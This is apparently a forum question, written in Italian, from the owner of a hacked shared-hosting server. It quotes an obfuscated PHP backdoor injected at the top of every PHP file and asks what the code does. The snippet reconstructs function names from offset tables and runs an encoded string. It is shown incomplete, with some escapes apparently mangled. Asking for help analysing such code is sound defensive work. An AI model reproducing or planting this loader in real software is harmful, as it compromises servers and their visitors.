Recentemente ho avuto un server di hosting condiviso che è stato violato; la seguente riga di codice è stata iniettata nella parte superiore di ogni file PHP sul server:
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$peyjqdmyjs = explode(chr((183-139)),'7333,32,3252,22,7391,53,2462,43,792,46,5856,57,512,57,3749,48,3797,22,5642,33,8280,44,1091,54,4812,31,5820,36,4148,59,1382,42,6915,24,8658,27,1235,65,6863,52,3298,69,5085,46,4030,65,9611,41,8800,49,56,64,3726,23,7056,37,7093,54,9876,44,3852,34,7937,65,1046,45,2999,28,2505,40,5721,49,7238,21,4264,28,4958,36,8231,49,9652,66,1895,48,3516,25,8553,37,6728,37,2873,57,1820,47,4292,36,569,26,2105,44,5578,64,7578,55,3137,53,9073,53,1485,48,838,21,7524,28,7147,53,0,56,9297,63,343,30,5675,46,5379,32,485,27,1943,64,9360,38,8874,24,595,66,9235,38,960,27,2274,45,7478,46,3093,44,8898,70,1684,32,3932,33,6441,40,3541,44,4547,31,8002,65,1769,51,1716,53,9846,30,6765,59,4639,63,7200,38,4498,49,6290,34,7654,29,2077,28,6047,36,2319,22,8461,61,3367,57,6261,29,4843,58,1867,28,4207,57,3585,49,293,50,7307,26,4766,46,7728,29,3274,24,7757,21,5131,51,1533,52,9515,48,6360,59,6160,54,2149,38,233,60,2407,35,9213,22,3476,40,8612,46,5259,28,3694,32,4578,61,4328,24,738,54,6324,36,9563,48,2545,52,6523,44,7633,21,8324,55,7778,62,5942,63,8849,25,9398,64,899,61,3634,60,1213,22,3027,66,5913,29,7888,49,7840,48,6708,20,2649,63,6481,22,2187,51,8590,22,7552,26,8731,37,5052,33,6214,47,3886,46,120,35,5451,63,8067,68,5287,69,2597,52,10043,63,2773,52,155,43,4702,26,8685,46,4095,53,2238,36,2007,70,7444,34,7019,37,1424,61,6083,28,987,59,6419,22,9718,46,5411,40,9764,43,6610,40,8135,55,4994,32,4901,57,9807,39,859,40,9126,34,2442,20,6005,42,1649,35,3819,33,2362,45,9160,53,3965,65,8522,31,4352,26,9462,53,1182,31,8417,44,5514,64,7259,48,7683,45,1359,23,1145,22,661,20,9008,65,5770,50,4469,29,6111,49,3190,62,681,57,198,35,9980,38,3424,52,9273,24,2930,69,8190,41,6824,39,8379,38,5182,38,4444,25,7365,26,373,43,2712,61,5026,26,1300,59,4728,38,6567,43,9920,60,6939,36,416,25,4378,66,6503,20,5356,23,461,24,8768,32,6650,58,2825,48,6975,44,10018,25,5220,39,8968,40,441,20,1585,64,2341,21,1167,15'); $rcwmfpxjbs=substr($pyyhlxfwxr,(63563-53457),(37-30)); if (!function_exists('djbxmtkyiw')) { function djbxmtkyiw($siiigmplqz, $jcodtyjdch) { $vqvamvvnqx = NULL; for($ttgvvqxcls=0;$ttgvvqxcls<(sizeof($siiigmplqz)/2);$ttgvvqxcls++) { $vqvamvvnqx .= substr($jcodtyjdch, $siiigmplqz[($ttgvvqxcls*2)],$siiigmplqz[($ttgvvqxcls*2)+1]); } return $vqvamvvnqx; };} $odgmnprvdj="\x20\x2a\x726\x6b0\x735\x6e3\x713\x20\x2f\x656\x614\x283\x742\x5f2\x650\x6c1\x635\x283\x682\x28\x32\x37\x32\x30\x29\x203\x682\x28\x33\x31\x32\x39\x29\x204\x6a2\x785\x743\x791\x77\x240\x651\x6a1\x645\x792\x73\x240\x791\x684\x786\x770\x72\x29\x3b\x2f\x204\x6f4\x711\x610\x786\x65\x2a\x20"; $pjegxnbdlt=substr($pyyhlxfwxr,(31614-21501),(70-58)); $pjegxnbdlt($rcwmfpxjbs, $odgmnprvdj, NULL); $pjegxnbdlt=$odgmnprvdj; $pjegxnbdlt=(391-270); $pyyhlxfwxr=$pjegxnbdlt-1; ?>
Ovviamente sono in procinto di disconnettere il server e cercare di capire come è stato violato, ma mi piacerebbe capire cosa fa questo codice PHP. Quando visito le pagine violate e visualizzo la fonte, nulla sembra fuori dall'ordinario; non sembra mettere nulla di visibile ai visitatori nelle pagine compromesse. I deobfuscator online che ho provato non sono riusciti con questo esempio, anche se il mio scanner antivirus lo prende come una backdoor. Qualche idea?